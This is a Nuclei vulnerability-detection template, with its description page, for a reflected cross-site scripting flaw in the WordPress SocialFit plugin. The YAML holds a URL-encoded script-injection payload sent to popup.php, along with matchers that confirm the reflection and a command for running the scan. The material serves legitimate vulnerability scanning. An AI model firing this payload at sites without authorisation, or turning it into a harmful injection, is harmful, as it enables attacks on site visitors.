WordPress SocialFit - Cross-Site Scripting

ID: wp-socialfit-xss

Severity: high

Author: daffainfo

Tags: wordpress,wp,xss,wp-plugin,edb

Description

WordPress SocialFit is vulnerable to a cross-site scripting vulnerability via the ‘msg’ parameter because it fails to properly sanitize user-supplied input.

YAML Source

id: wp-socialfit-xss

info:
  name: WordPress SocialFit - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: |
    WordPress SocialFit is vulnerable to a cross-site scripting vulnerability via the 'msg' parameter because it fails to properly sanitize user-supplied input.
  reference:
    - https://www.exploit-db.com/exploits/37481
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/socialfit"
  tags: wordpress,wp,xss,wp-plugin,edb

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/socialfit/popup.php?service=googleplus&msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: body
        words:
          - '<title>Google+'
          - 'window.___gcfg'
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100948cdb35240660c74a3769c99868d233586d35fa0abe6ed022400e8c2191863d0220254476408fca0e0a907a2360003620eb645629346ce00b02d9b1fb22dd642bdb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-socialfit-xss.yaml"

View on Github